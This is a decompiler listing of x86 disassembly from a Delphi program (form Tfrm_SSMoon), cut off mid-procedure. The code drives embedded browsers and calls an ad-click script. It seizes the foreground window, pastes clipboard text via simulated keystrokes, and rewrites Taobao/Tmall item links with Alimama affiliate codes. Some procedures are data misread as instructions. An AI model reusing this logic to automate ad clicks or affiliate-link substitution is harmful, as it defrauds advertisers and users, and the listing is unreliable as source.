004BC992   55                     push    ebp
004BC993   68FBC94B00             push    $004BC9FB

***** TRY
|
004BC998   64FF30                 push    dword ptr fs:[eax]
004BC99B   648920                 mov     fs:[eax], esp
004BC99E   833D5CDD4C0000         cmp     dword ptr [$004CDD5C], +$00
004BC9A5   7425                   jz      004BC9CC
004BC9A7   8D45FC                 lea     eax, [ebp-$04]

|
004BC9AA   E88DA8F4FF             call    0040723C
004BC9AF   50                     push    eax
004BC9B0   A15CDD4C00             mov     eax, dword ptr [$004CDD5C]
004BC9B5   50                     push    eax
004BC9B6   8B00                   mov     eax, [eax]
004BC9B8   FF503C                 call    dword ptr [eax+$3C]

|
004BC9BB   E88CA9F4FF             call    0040734C
004BC9C0   8B55FC                 mov     edx, [ebp-$04]
004BC9C3   8BC6                   mov     eax, esi

|
004BC9C5   E88AA8F4FF             call    00407254
004BC9CA   EB1D                   jmp     004BC9E9
004BC9CC   8D4DF8                 lea     ecx, [ebp-$08]

* Reference to control Tfrm_SSMoon.Webb1 : TWebBrowser
|
004BC9CF   8B8368030000           mov     eax, [ebx+$0368]
004BC9D5   BAC8000000             mov     edx, $000000C8

* Reference to : TOleControl._PROC_0046CE4C()
|
004BC9DA   E86D04FBFF             call    0046CE4C
004BC9DF   8B55F8                 mov     edx, [ebp-$08]
004BC9E2   8BC6                   mov     eax, esi

|
004BC9E4   E86BA8F4FF             call    00407254
004BC9E9   8B4508                 mov     eax, [ebp+$08]
004BC9EC   66C7000000             mov     word ptr [eax], $0000
004BC9F1   33C0                   xor     eax, eax
004BC9F3   5A                     pop     edx
004BC9F4   59                     pop     ecx
004BC9F5   59                     pop     ecx
004BC9F6   648910                 mov     fs:[eax], edx
004BC9F9   EB12                   jmp     004BCA0D

|
004BC9FB   E92880F4FF             jmp     00404A28
004BCA00   8B4508                 mov     eax, [ebp+$08]
004BCA03   66C700FFFF             mov     word ptr [eax], $FFFF

|
004BCA08   E82B84F4FF             call    00404E38

****** END
|
004BCA0D   33C0                   xor     eax, eax
004BCA0F   5A                     pop     edx
004BCA10   59                     pop     ecx
004BCA11   59                     pop     ecx
004BCA12   648910                 mov     fs:[eax], edx

****** FINALLY
|
004BCA15   6835CA4B00             push    $004BCA35
004BCA1A   8D45F8                 lea     eax, [ebp-$08]

* Reference to object IDispatch
|
004BCA1D   8B15B8114000           mov     edx, [$004011B8]
004BCA23   B902000000             mov     ecx, $00000002

|
004BCA28   E80B97F4FF             call    00406138
004BCA2D   C3                     ret


|
004BCA2E   E9A982F4FF             jmp     00404CDC
004BCA33   EBE5                   jmp     004BCA1A

****** END
|
004BCA35   5F                     pop     edi
004BCA36   5E                     pop     esi
004BCA37   5B                     pop     ebx
004BCA38   59                     pop     ecx
004BCA39   59                     pop     ecx
004BCA3A   5D                     pop     ebp
004BCA3B   C20400                 ret     $0004

*)
end;

procedure Tfrm_SSMoon._PROC_004BA92A(Sender : TObject);
begin
(*
004BA92A   00C0                   add     al, al
004BA92C   4F                     dec     edi
004BA92D   D901                   fld     dword ptr [ecx]
004BA92F   196116                 sbb     [ecx+$16], esp
004BA932   0CD3                   or      al, $D3
004BA934   AF                     scasd
004BA935   CDD0                   int     $D0
004BA937   118A3E00C04F           adc     [edx+$4FC0003E], ecx
004BA93D   C9                     leave
004BA93E   E26E                   loop    +$6E
004BA940   05DF020000             add     eax, +$000002DF
004BA945   0000                   add     [eax], al

*)
end;

procedure Tfrm_SSMoon._PROC_004BA961(Sender : TObject);
begin
(*
004BA961   8BEC                   mov     ebp, esp
004BA963   33C9                   xor     ecx, ecx
004BA965   51                     push    ecx
004BA966   51                     push    ecx
004BA967   51                     push    ecx
004BA968   51                     push    ecx
004BA969   51                     push    ecx
004BA96A   51                     push    ecx
004BA96B   51                     push    ecx
004BA96C   53                     push    ebx
004BA96D   56                     push    esi
004BA96E   57                     push    edi
004BA96F   8BF0                   mov     esi, eax
004BA971   33C0                   xor     eax, eax
004BA973   55                     push    ebp
004BA974   6826AA4B00             push    $004BAA26

***** TRY
|
004BA979   64FF30                 push    dword ptr fs:[eax]
004BA97C   648920                 mov     fs:[eax], esp
004BA97F   C645FF01               mov     byte ptr [ebp-$01], $01
004BA983   33C0                   xor     eax, eax
004BA985   55                     push    ebp

* Possible String Reference to: '?狋艵'
|
004BA986   68F2A94B00             push    $004BA9F2

***** TRY
|
004BA98B   64FF30                 push    dword ptr fs:[eax]
004BA98E   648920                 mov     fs:[eax], esp
004BA991   833D64DD4C0000         cmp     dword ptr [$004CDD64], +$00
004BA998   744A                   jz      004BA9E4
004BA99A   8D45EC                 lea     eax, [ebp-$14]

|
004BA99D   E8AE77F5FF             call    00412150
004BA9A2   50                     push    eax
004BA9A3   683CAA4B00             push    $004BAA3C

* Possible String Reference to: 'ClickAD("'
|
004BA9A8   685CAA4B00             push    $004BAA5C
004BA9AD   56                     push    esi

* Possible String Reference to: '");'
|
004BA9AE   6870AA4B00             push    $004BAA70
004BA9B3   8D45E4                 lea     eax, [ebp-$1C]
004BA9B6   BA03000000             mov     edx, $00000003

|
004BA9BB   E8C8AEF4FF             call    00405888
004BA9C0   8B55E4                 mov     edx, [ebp-$1C]
004BA9C3   8D45E8                 lea     eax, [ebp-$18]

|
004BA9C6   E891B4F4FF             call    00405E5C
004BA9CB   8B45E8                 mov     eax, [ebp-$18]
004BA9CE   50                     push    eax
004BA9CF   A164DD4C00             mov     eax, dword ptr [$004CDD64]
004BA9D4   50                     push    eax
004BA9D5   8B00                   mov     eax, [eax]
004BA9D7   FF9010010000           call    dword ptr [eax+$0110]

|
004BA9DD   E86AC9F4FF             call    0040734C
004BA9E2   EB04                   jmp     004BA9E8
004BA9E4   C645FF00               mov     byte ptr [ebp-$01], $00
004BA9E8   33C0                   xor     eax, eax
004BA9EA   5A                     pop     edx
004BA9EB   59                     pop     ecx
004BA9EC   59                     pop     ecx
004BA9ED   648910                 mov     fs:[eax], edx
004BA9F0   EB0E                   jmp     004BAA00

|
004BA9F2   E931A0F4FF             jmp     00404A28
004BA9F7   C645FF00               mov     byte ptr [ebp-$01], $00

|
004BA9FB   E838A4F4FF             call    00404E38

****** END
|
004BAA00   33C0                   xor     eax, eax
004BAA02   5A                     pop     edx
004BAA03   59                     pop     ecx
004BAA04   59                     pop     ecx
004BAA05   648910                 mov     fs:[eax], edx

****** FINALLY
|
004BAA08   682DAA4B00             push    $004BAA2D
004BAA0D   8D45E4                 lea     eax, [ebp-$1C]

|
004BAA10   E8DFAAF4FF             call    004054F4
004BAA15   8D45E8                 lea     eax, [ebp-$18]

|
004BAA18   E8DFB2F4FF             call    00405CFC
004BAA1D   8D45EC                 lea     eax, [ebp-$14]

|
004BAA20   E82B77F5FF             call    00412150
004BAA25   C3                     ret


|
004BAA26   E9B1A2F4FF             jmp     00404CDC
004BAA2B   EBE0                   jmp     004BAA0D

****** END
|
004BAA2D   0FB645FF               movzx   eax, byte ptr [ebp-$01]
004BAA31   5F                     pop     edi
004BAA32   5E                     pop     esi
004BAA33   5B                     pop     ebx
004BAA34   8BE5                   mov     esp, ebp
004BAA36   5D                     pop     ebp
004BAA37   C3                     ret

*)
end;

procedure Tfrm_SSMoon._PROC_004BAA38(Sender : TObject);
begin
(*
004BAA38   1400                   adc     al, $00
004BAA3A   0000                   add     [eax], al

*)
end;

procedure Tfrm_SSMoon._PROC_004BAA95(Sender : TObject);
begin
(*
004BAA95   8BEC                   mov     ebp, esp
004BAA97   33C9                   xor     ecx, ecx
004BAA99   51                     push    ecx
004BAA9A   51                     push    ecx
004BAA9B   51                     push    ecx
004BAA9C   51                     push    ecx
004BAA9D   51                     push    ecx
004BAA9E   51                     push    ecx
004BAA9F   51                     push    ecx
004BAAA0   53                     push    ebx
004BAAA1   56                     push    esi
004BAAA2   33C0                   xor     eax, eax
004BAAA4   55                     push    ebp

* Possible String Reference to: '閟狋脎^[嬪]?
|
004BAAA5   6864AC4B00             push    $004BAC64

***** TRY
|
004BAAAA   64FF30                 push    dword ptr fs:[eax]
004BAAAD   648920                 mov     fs:[eax], esp
004BAAB0   A178674C00             mov     eax, dword ptr [$004C6778]
004BAAB5   833800                 cmp     dword ptr [eax], +$00
004BAAB8   0F847B010000           jz      004BAC39

* Reference to: user32.GetForegroundWindow()
|
004BAABE   E895D7F4FF             call    00408258
004BAAC3   8BF0                   mov     esi, eax
004BAAC5   A154DD4C00             mov     eax, dword ptr [$004CDD54]

|
004BAACA   E8D14EF9FF             call    0044F9A0
004BAACF   50                     push    eax

* Reference to: user32.SetForegroundWindow()
|
004BAAD0   E873DAF4FF             call    00408548
004BAAD5   8D45FC                 lea     eax, [ebp-$04]

|
004BAAD8   E85FC7F4FF             call    0040723C
004BAADD   50                     push    eax
004BAADE   8D4DF8                 lea     ecx, [ebp-$08]
004BAAE1   A154DD4C00             mov     eax, dword ptr [$004CDD54]

* Reference to control webb2 : TWebBrowser
|
004BAAE6   8B8074030000           mov     eax, [eax+$0374]
004BAAEC   BACB000000             mov     edx, $000000CB

* Reference to : TOleControl._PROC_0046CE4C()
|
004BAAF1   E85623FBFF             call    0046CE4C
004BAAF6   8B45F8                 mov     eax, [ebp-$08]
004BAAF9   50                     push    eax
004BAAFA   8B00                   mov     eax, [eax]
004BAAFC   FF90B0010000           call    dword ptr [eax+$01B0]

|
004BAB02   E845C8F4FF             call    0040734C
004BAB07   8B45FC                 mov     eax, [ebp-$04]
004BAB0A   50                     push    eax
004BAB0B   8B00                   mov     eax, [eax]
004BAB0D   FF90EC000000           call    dword ptr [eax+$00EC]

|
004BAB13   E834C8F4FF             call    0040734C

* Possible String Reference to: '{TAB '
|
004BAB18   687CAC4B00             push    $004BAC7C
004BAB1D   8D55F0                 lea     edx, [ebp-$10]
004BAB20   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BAB25   8B8088030000           mov     eax, [eax+$0388]
004BAB2B   8B402C                 mov     eax, [eax+$2C]

|
004BAB2E   E8D9F6F4FF             call    0040A20C
004BAB33   FF75F0                 push    dword ptr [ebp-$10]
004BAB36   688CAC4B00             push    $004BAC8C
004BAB3B   8D45F4                 lea     eax, [ebp-$0C]
004BAB3E   BA03000000             mov     edx, $00000003

|
004BAB43   E840ADF4FF             call    00405888
004BAB48   8B45F4                 mov     eax, [ebp-$0C]

|
004BAB4B   E834AEF4FF             call    00405984
004BAB50   33D2                   xor     edx, edx

|
004BAB52   E87932FFFF             call    004ADDD0
004BAB57   B201                   mov     dl, $01

* Reference to class TClipboard
|
004BAB59   A118934300             mov     eax, dword ptr [$00439318]

|
004BAB5E   E8B599F4FF             call    00404518
004BAB63   8BD8                   mov     ebx, eax
004BAB65   8D55EC                 lea     edx, [ebp-$14]
004BAB68   8BC3                   mov     eax, ebx

* Reference to : TClipboard._PROC_0043959C()
|
004BAB6A   E82DEAF7FF             call    0043959C
004BAB6F   8B55EC                 mov     edx, [ebp-$14]
004BAB72   B874DD4C00             mov     eax, $004CDD74

|
004BAB77   E8CCA9F4FF             call    00405548
004BAB7C   8BC3                   mov     eax, ebx
004BAB7E   8B10                   mov     edx, [eax]

* Possible reference to virtual method TClipboard.OFFS_18
|
004BAB80   FF5218                 call    dword ptr [edx+$18]
004BAB83   8BC3                   mov     eax, ebx
004BAB85   8B10                   mov     edx, [eax]

* Possible reference to virtual method TClipboard.OFFS_10
|
004BAB87   FF5210                 call    dword ptr [edx+$10]
004BAB8A   8B1578674C00           mov     edx, [$004C6778]
004BAB90   8B12                   mov     edx, [edx]
004BAB92   8BC3                   mov     eax, ebx

* Reference to : TClipboard._PROC_0043961C()
|
004BAB94   E883EAF7FF             call    0043961C

* Possible String Reference to: '^v'
|
004BAB99   B890AC4B00             mov     eax, $004BAC90
004BAB9E   33D2                   xor     edx, edx

|
004BABA0   E82B32FFFF             call    004ADDD0
004BABA5   8BC3                   mov     eax, ebx
004BABA7   8B10                   mov     edx, [eax]

* Possible reference to virtual method TClipboard.OFFS_14
|
004BABA9   FF5214                 call    dword ptr [edx+$14]
004BABAC   8BC3                   mov     eax, ebx

|
004BABAE   E89599F4FF             call    00404548

* Possible String Reference to: '{TAB '
|
004BABB3   687CAC4B00             push    $004BAC7C
004BABB8   8D55E4                 lea     edx, [ebp-$1C]
004BABBB   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BABC0   8B8088030000           mov     eax, [eax+$0388]
004BABC6   8B4030                 mov     eax, [eax+$30]

|
004BABC9   E83EF6F4FF             call    0040A20C
004BABCE   FF75E4                 push    dword ptr [ebp-$1C]
004BABD1   688CAC4B00             push    $004BAC8C
004BABD6   8D45E8                 lea     eax, [ebp-$18]
004BABD9   BA03000000             mov     edx, $00000003

|
004BABDE   E8A5ACF4FF             call    00405888
004BABE3   8B45E8                 mov     eax, [ebp-$18]

|
004BABE6   E899ADF4FF             call    00405984
004BABEB   33D2                   xor     edx, edx

|
004BABED   E8DE31FFFF             call    004ADDD0
004BABF2   B020                   mov     al, $20

|
004BABF4   E87BFEFFFF             call    004BAA74

* Reference to: kernel32.GetTickCount()
|
004BABF9   E8C2D0F4FF             call    00407CC0
004BABFE   8BD8                   mov     ebx, eax

* Reference to: kernel32.GetTickCount()
|
004BAC00   E8BBD0F4FF             call    00407CC0
004BAC05   33D2                   xor     edx, edx
004BAC07   52                     push    edx
004BAC08   50                     push    eax
004BAC09   8BC3                   mov     eax, ebx
004BAC0B   99                     cdq
004BAC0C   290424                 sub     dword ptr [esp], eax
004BAC0F   19542404               sbb     [esp+$04], edx
004BAC13   58                     pop     eax
004BAC14   5A                     pop     edx
004BAC15   83FA00                 cmp     edx, +$00
004BAC18   7509                   jnz     004BAC23
004BAC1A   3DE8030000             cmp     eax, $000003E8
004BAC1F   7604                   jbe     004BAC25
004BAC21   EB10                   jmp     004BAC33
004BAC23   7F0E                   jnle    004BAC33
004BAC25   A12C664C00             mov     eax, dword ptr [$004C662C]
004BAC2A   8B00                   mov     eax, [eax]

|
004BAC2C   E857B7FAFF             call    00466388
004BAC31   EBCD                   jmp     004BAC00
004BAC33   56                     push    esi

* Reference to: user32.SetForegroundWindow()
|
004BAC34   E80FD9F4FF             call    00408548
004BAC39   33C0                   xor     eax, eax
004BAC3B   5A                     pop     edx
004BAC3C   59                     pop     ecx
004BAC3D   59                     pop     ecx
004BAC3E   648910                 mov     fs:[eax], edx

****** FINALLY
|

* Possible String Reference to: '^[嬪]?
|
004BAC41   686BAC4B00             push    $004BAC6B
004BAC46   8D45E4                 lea     eax, [ebp-$1C]
004BAC49   BA05000000             mov     edx, $00000005

|
004BAC4E   E8C5A8F4FF             call    00405518
004BAC53   8D45F8                 lea     eax, [ebp-$08]

|
004BAC56   E8E1C5F4FF             call    0040723C
004BAC5B   8D45FC                 lea     eax, [ebp-$04]

|
004BAC5E   E8D9C5F4FF             call    0040723C
004BAC63   C3                     ret


|
004BAC64   E973A0F4FF             jmp     00404CDC
004BAC69   EBDB                   jmp     004BAC46

****** END
|
004BAC6B   5E                     pop     esi
004BAC6C   5B                     pop     ebx
004BAC6D   8BE5                   mov     esp, ebp
004BAC6F   5D                     pop     ebp
004BAC70   C3                     ret

*)
end;

procedure Tfrm_SSMoon._PROC_004BACE1(Sender : TObject);
begin
(*
004BACE1   EA048B1285             jmp     $85128B04
004BACE6   D27E1B                 sar     byte ptr [esi+$1B], cl
004BACE9   BE01000000             mov     esi, $00000001
004BACEE   0FB64C37FF             movzx   ecx, byte ptr [edi+esi-$01]
004BACF3   80C1D0                 add     cl, $D0
004BACF6   80E90A                 sub     cl, $0A
004BACF9   7205                   jb      004BAD00
004BACFB   33C0                   xor     eax, eax
004BACFD   5F                     pop     edi
004BACFE   5E                     pop     esi
004BACFF   C3                     ret

004BAD00   46                     inc     esi
004BAD01   4A                     dec     edx
004BAD02   75EA                   jnz     004BACEE
004BAD04   5F                     pop     edi
004BAD05   5E                     pop     esi
004BAD06   C3                     ret

*)
end;

procedure Tfrm_SSMoon._PROC_004BAD08(Sender : TObject);
begin
(*
004BAD08   53                     push    ebx
004BAD09   8BD8                   mov     ebx, eax
004BAD0B   8BD3                   mov     edx, ebx

* Possible String Reference to: 'mm_'
|
004BAD0D   B83CAD4B00             mov     eax, $004BAD3C

|
004BAD12   E8B9ADF4FF             call    00405AD0
004BAD17   85C0                   test    eax, eax
004BAD19   7E10                   jle     004BAD2B
004BAD1B   8BD3                   mov     edx, ebx

* Possible String Reference to: '_0_0'
|
004BAD1D   B848AD4B00             mov     eax, $004BAD48

|
004BAD22   E8A9ADF4FF             call    00405AD0
004BAD27   85C0                   test    eax, eax
004BAD29   7F04                   jnle    004BAD2F
004BAD2B   33C0                   xor     eax, eax
004BAD2D   5B                     pop     ebx
004BAD2E   C3                     ret

004BAD2F   B001                   mov     al, $01
004BAD31   5B                     pop     ebx
004BAD32   C3                     ret

*)
end;

procedure Tfrm_SSMoon._PROC_004BAD51(Sender : TObject);
begin
(*
004BAD51   8BEC                   mov     ebp, esp
004BAD53   83C4B0                 add     esp, -$50
004BAD56   53                     push    ebx
004BAD57   56                     push    esi
004BAD58   57                     push    edi
004BAD59   33DB                   xor     ebx, ebx
004BAD5B   895DB0                 mov     [ebp-$50], ebx
004BAD5E   895DB4                 mov     [ebp-$4C], ebx
004BAD61   895DB8                 mov     [ebp-$48], ebx
004BAD64   895DBC                 mov     [ebp-$44], ebx
004BAD67   895DD0                 mov     [ebp-$30], ebx
004BAD6A   895DFC                 mov     [ebp-$04], ebx
004BAD6D   895DF8                 mov     [ebp-$08], ebx
004BAD70   895DF4                 mov     [ebp-$0C], ebx
004BAD73   895DF0                 mov     [ebp-$10], ebx
004BAD76   894DE8                 mov     [ebp-$18], ecx
004BAD79   8955EC                 mov     [ebp-$14], edx
004BAD7C   8BF0                   mov     esi, eax
004BAD7E   33C0                   xor     eax, eax
004BAD80   55                     push    ebp
004BAD81   6892B14B00             push    $004BB192

***** TRY
|
004BAD86   64FF30                 push    dword ptr fs:[eax]
004BAD89   648920                 mov     fs:[eax], esp
004BAD8C   8B45E8                 mov     eax, [ebp-$18]

|
004BAD8F   E860A7F4FF             call    004054F4
004BAD94   8BD6                   mov     edx, esi

* Possible String Reference to: 'mm_'
|
004BAD96   B8A8B14B00             mov     eax, $004BB1A8

|
004BAD9B   E830ADF4FF             call    00405AD0
004BADA0   8BD8                   mov     ebx, eax
004BADA2   85DB                   test    ebx, ebx
004BADA4   7E3B                   jle     004BADE1
004BADA6   8BD6                   mov     edx, esi

* Possible String Reference to: '_0_0'
|
004BADA8   B8B4B14B00             mov     eax, $004BB1B4

|
004BADAD   E81EADF4FF             call    00405AD0
004BADB2   8BF8                   mov     edi, eax
004BADB4   85FF                   test    edi, edi
004BADB6   0F8EA6030000           jle     004BB162
004BADBC   8D45F4                 lea     eax, [ebp-$0C]
004BADBF   50                     push    eax
004BADC0   8BCF                   mov     ecx, edi
004BADC2   2BCB                   sub     ecx, ebx
004BADC4   83E903                 sub     ecx, +$03
004BADC7   8D5303                 lea     edx, [ebx+$03]
004BADCA   8BC6                   mov     eax, esi

|
004BADCC   E81BACF4FF             call    004059EC
004BADD1   8B45F4                 mov     eax, [ebp-$0C]

|
004BADD4   E8BBFEFFFF             call    004BAC94
004BADD9   84C0                   test    al, al
004BADDB   0F8581030000           jnz     004BB162
004BADE1   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BADE6   8B8088030000           mov     eax, [eax+$0388]
004BADEC   8B4018                 mov     eax, [eax+$18]
004BADEF   8B10                   mov     edx, [eax]
004BADF1   FF5214                 call    dword ptr [edx+$14]
004BADF4   85C0                   test    eax, eax
004BADF6   0F8E66030000           jle     004BB162
004BADFC   8D45F8                 lea     eax, [ebp-$08]
004BADFF   8BD6                   mov     edx, esi

|
004BAE01   E886A7F4FF             call    0040558C
004BAE06   8BD6                   mov     edx, esi

* Possible String Reference to: 'item.tmall.com/item.htm?id='
|
004BAE08   B8C4B14B00             mov     eax, $004BB1C4

|
004BAE0D   E8BEACF4FF             call    00405AD0
004BAE12   85C0                   test    eax, eax
004BAE14   7F34                   jnle    004BAE4A
004BAE16   8BD6                   mov     edx, esi

* Possible String Reference to: 'item.tmall.com/auction/item_detail.
|                                htm?item_num_id='
|
004BAE18   B8E8B14B00             mov     eax, $004BB1E8

|
004BAE1D   E8AEACF4FF             call    00405AD0
004BAE22   85C0                   test    eax, eax
004BAE24   7F24                   jnle    004BAE4A
004BAE26   8BD6                   mov     edx, esi

* Possible String Reference to: 'item.taobao.com/item.htm?id='
|
004BAE28   B824B24B00             mov     eax, $004BB224

|
004BAE2D   E89EACF4FF             call    00405AD0
004BAE32   85C0                   test    eax, eax
004BAE34   7F14                   jnle    004BAE4A
004BAE36   8BD6                   mov     edx, esi

* Possible String Reference to: 'item.taobao.com/auction/item_detail
|                                .htm?item_num_id='
|
004BAE38   B84CB24B00             mov     eax, $004BB24C

|
004BAE3D   E88EACF4FF             call    00405AD0
004BAE42   85C0                   test    eax, eax
004BAE44   0F8E18030000           jle     004BB162
004BAE4A   8BD6                   mov     edx, esi
004BAE4C   B88CB24B00             mov     eax, $004BB28C

|
004BAE51   E87AACF4FF             call    00405AD0
004BAE56   8BD8                   mov     ebx, eax
004BAE58   85DB                   test    ebx, ebx
004BAE5A   7522                   jnz     004BAE7E
004BAE5C   8BDE                   mov     ebx, esi
004BAE5E   85DB                   test    ebx, ebx
004BAE60   7405                   jz      004BAE67
004BAE62   83EB04                 sub     ebx, +$04
004BAE65   8B1B                   mov     ebx, [ebx]
004BAE67   8D45F8                 lea     eax, [ebp-$08]
004BAE6A   50                     push    eax
004BAE6B   8BCB                   mov     ecx, ebx
004BAE6D   83E907                 sub     ecx, +$07
004BAE70   BA08000000             mov     edx, $00000008
004BAE75   8BC6                   mov     eax, esi

|
004BAE77   E870ABF4FF             call    004059EC
004BAE7C   EB15                   jmp     004BAE93
004BAE7E   8D45F8                 lea     eax, [ebp-$08]
004BAE81   50                     push    eax
004BAE82   8BCB                   mov     ecx, ebx
004BAE84   83E908                 sub     ecx, +$08
004BAE87   BA08000000             mov     edx, $00000008
004BAE8C   8BC6                   mov     eax, esi

|
004BAE8E   E859ABF4FF             call    004059EC
004BAE93   8D55C0                 lea     edx, [ebp-$40]
004BAE96   8B45F8                 mov     eax, [ebp-$08]

|
004BAE99   E80E85FFFF             call    004B33AC
004BAE9E   8D45C0                 lea     eax, [ebp-$40]
004BAEA1   8D55D0                 lea     edx, [ebp-$30]

|
004BAEA4   E87B85FFFF             call    004B3424
004BAEA9   8B55D0                 mov     edx, [ebp-$30]
004BAEAC   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BAEB1   8B8088030000           mov     eax, [eax+$0388]
004BAEB7   8B4014                 mov     eax, [eax+$14]
004BAEBA   8B08                   mov     ecx, [eax]
004BAEBC   FF5154                 call    dword ptr [ecx+$54]
004BAEBF   8BD8                   mov     ebx, eax
004BAEC1   83FBFF                 cmp     ebx, -$01
004BAEC4   0F851F020000           jnz     004BB0E9
004BAECA   8B55F8                 mov     edx, [ebp-$08]
004BAECD   B898B24B00             mov     eax, $004BB298

|
004BAED2   E8F9ABF4FF             call    00405AD0
004BAED7   8BF8                   mov     edi, eax
004BAED9   85FF                   test    edi, edi
004BAEDB   0F8E81020000           jle     004BB162
004BAEE1   8B45F8                 mov     eax, [ebp-$08]
004BAEE4   8945D4                 mov     [ebp-$2C], eax
004BAEE7   837DD400               cmp     dword ptr [ebp-$2C], +$00
004BAEEB   740B                   jz      004BAEF8
004BAEED   8B45D4                 mov     eax, [ebp-$2C]
004BAEF0   83E804                 sub     eax, +$04
004BAEF3   8B00                   mov     eax, [eax]
004BAEF5   8945D4                 mov     [ebp-$2C], eax
004BAEF8   8D45F0                 lea     eax, [ebp-$10]
004BAEFB   50                     push    eax
004BAEFC   8B4DD4                 mov     ecx, [ebp-$2C]
004BAEFF   2BCB                   sub     ecx, ebx
004BAF01   8D5701                 lea     edx, [edi+$01]
004BAF04   8B45F8                 mov     eax, [ebp-$08]

|
004BAF07   E8E0AAF4FF             call    004059EC
004BAF0C   837DF000               cmp     dword ptr [ebp-$10], +$00
004BAF10   0F844C020000           jz      004BB162
004BAF16   8B45F0                 mov     eax, [ebp-$10]

|
004BAF19   E8B6FDFFFF             call    004BACD4
004BAF1E   84C0                   test    al, al
004BAF20   0F843C020000           jz      004BB162
004BAF26   833D64DD4C0000         cmp     dword ptr [$004CDD64], +$00
004BAF2D   0F842F020000           jz      004BB162
004BAF33   B868DD4C00             mov     eax, $004CDD68
004BAF38   8B55F8                 mov     edx, [ebp-$08]

|
004BAF3B   E808A6F4FF             call    00405548
004BAF40   B201                   mov     dl, $01

* Reference to class TStringList
|
004BAF42   A1A8AA4100             mov     eax, dword ptr [$0041AAA8]

|
004BAF47   E8CC95F4FF             call    00404518
004BAF4C   8945E4                 mov     [ebp-$1C], eax
004BAF4F   B201                   mov     dl, $01

* Reference to class TStringList
|
004BAF51   A1A8AA4100             mov     eax, dword ptr [$0041AAA8]

|
004BAF56   E8BD95F4FF             call    00404518
004BAF5B   8945E0                 mov     [ebp-$20], eax
004BAF5E   8D45BC                 lea     eax, [ebp-$44]
004BAF61   8B4DF0                 mov     ecx, [ebp-$10]

* Possible String Reference to: 'auction_id='
|
004BAF64   BAA4B24B00             mov     edx, $004BB2A4

|
004BAF69   E89EA8F4FF             call    0040580C
004BAF6E   8B55BC                 mov     edx, [ebp-$44]
004BAF71   8B45E4                 mov     eax, [ebp-$1C]
004BAF74   8B08                   mov     ecx, [eax]

* Possible reference to virtual method TStringList.OFFS_38
|
004BAF76   FF5138                 call    dword ptr [ecx+$38]
004BAF79   8D45B8                 lea     eax, [ebp-$48]
004BAF7C   50                     push    eax
004BAF7D   A154DD4C00             mov     eax, dword ptr [$004CDD54]

* Reference to control IdHTTP : TIdHTTP
|
004BAF82   8B806C030000           mov     eax, [eax+$036C]
004BAF88   8B4DE4                 mov     ecx, [ebp-$1C]

* Possible String Reference to: 'http://taoke.alimama.com/spreader/g
|                                en_auction_code.htm'
|
004BAF8B   BAB8B24B00             mov     edx, $004BB2B8

|
004BAF90   E80BA9FDFF             call    004958A0
004BAF95   8B55B8                 mov     edx, [ebp-$48]
004BAF98   8B45E0                 mov     eax, [ebp-$20]
004BAF9B   8B08                   mov     ecx, [eax]

* Possible reference to virtual method TStringList.OFFS_2C
|
004BAF9D   FF512C                 call    dword ptr [ecx+$2C]
004BAFA0   8B45E0                 mov     eax, [ebp-$20]
004BAFA3   8B10                   mov     edx, [eax]

* Possible reference to virtual method TStringList.OFFS_14
|
004BAFA5   FF5214                 call    dword ptr [edx+$14]
004BAFA8   48                     dec     eax
004BAFA9   85C0                   test    eax, eax
004BAFAB   0F8C26010000           jl      004BB0D7
004BAFB1   40                     inc     eax
004BAFB2   8945D8                 mov     [ebp-$28], eax
004BAFB5   C745DC00000000         mov     dword ptr [ebp-$24], $00000000
004BAFBC   8D4DFC                 lea     ecx, [ebp-$04]
004BAFBF   8B55DC                 mov     edx, [ebp-$24]
004BAFC2   8B45E0                 mov     eax, [ebp-$20]
004BAFC5   8B18                   mov     ebx, [eax]

* Possible reference to virtual method TStringList.OFFS_0C
|
004BAFC7   FF530C                 call    dword ptr [ebx+$0C]
004BAFCA   8B55FC                 mov     edx, [ebp-$04]

* Possible String Reference to: 'var urlcode ='
|
004BAFCD   B8F8B24B00             mov     eax, $004BB2F8

|
004BAFD2   E8F9AAF4FF             call    00405AD0
004BAFD7   8BD8                   mov     ebx, eax
004BAFD9   85DB                   test    ebx, ebx
004BAFDB   0F8EEA000000           jle     004BB0CB
004BAFE1   8B55FC                 mov     edx, [ebp-$04]

* Possible String Reference to: 'http://'
|
004BAFE4   B810B34B00             mov     eax, $004BB310

|
004BAFE9   E8E2AAF4FF             call    00405AD0
004BAFEE   8BD8                   mov     ebx, eax
004BAFF0   85DB                   test    ebx, ebx
004BAFF2   7F37                   jnle    004BB02B
004BAFF4   8B45EC                 mov     eax, [ebp-$14]
004BAFF7   33D2                   xor     edx, edx
004BAFF9   52                     push    edx
004BAFFA   50                     push    eax
004BAFFB   8D45B4                 lea     eax, [ebp-$4C]

|
004BAFFE   E8F5F2F4FF             call    0040A2F8
004BB003   8B55B4                 mov     edx, [ebp-$4C]
004BB006   A154DD4C00             mov     eax, dword ptr [$004CDD54]
004BB00B   8B808C030000           mov     eax, [eax+$038C]
004BB011   8B08                   mov     ecx, [eax]
004BB013   FF5138                 call    dword ptr [ecx+$38]
004BB016   8B45E4                 mov     eax, [ebp-$1C]

|
004BB019   E82A95F4FF             call    00404548
004BB01E   8B45E0                 mov     eax, [ebp-$20]

|
004BB021   E82295F4FF             call    00404548
004BB026   E9AC000000             jmp     004BB0D7
004BB02B   8D45FC                 lea     eax, [ebp-$04]
004BB02E   50                     push    eax
004BB02F   8B55FC                 mov     edx, [ebp-$04]
004BB032   B88CB24B00             mov     eax, $004BB28C

|
004BB037   E894AAF4FF             call    00405AD0
004BB03C   8BC8                   mov     ecx, eax
004BB03E   2BCB                   sub     ecx, ebx
004BB040   8BD3                   mov     edx, ebx
004BB042   8B45FC                 mov     eax, [ebp-$04]

|
004BB045   E8A2A9F4FF             call    004059EC
004BB04A   8BC6                   mov     eax, esi

* Reference to : Tfrm_SSMoon._PROC_004BAD08()
|
004BB04C   E8B7FCFFFF             call    004BAD08
004BB051   84C0                   test    al, al
004BB053   7423                   jz      004BB078
004BB055   FF75FC                 push    dword ptr [ebp-$04]

* Possible String Reference to: '&p=mm_'
|
004BB058   6820B34B00             push    $004BB320
004BB05D   A110644C00             mov     eax, dword ptr [$004C6410]
004BB062   FF30                   push    dword ptr [eax]

* Possible String Reference to: '_0_0&n=11'
|
004BB064   6830B34B00             push    $004BB330
004BB069   8B45E8                 mov     eax, [ebp-$18]
004BB06C   BA04000000             mov     edx, $00000004

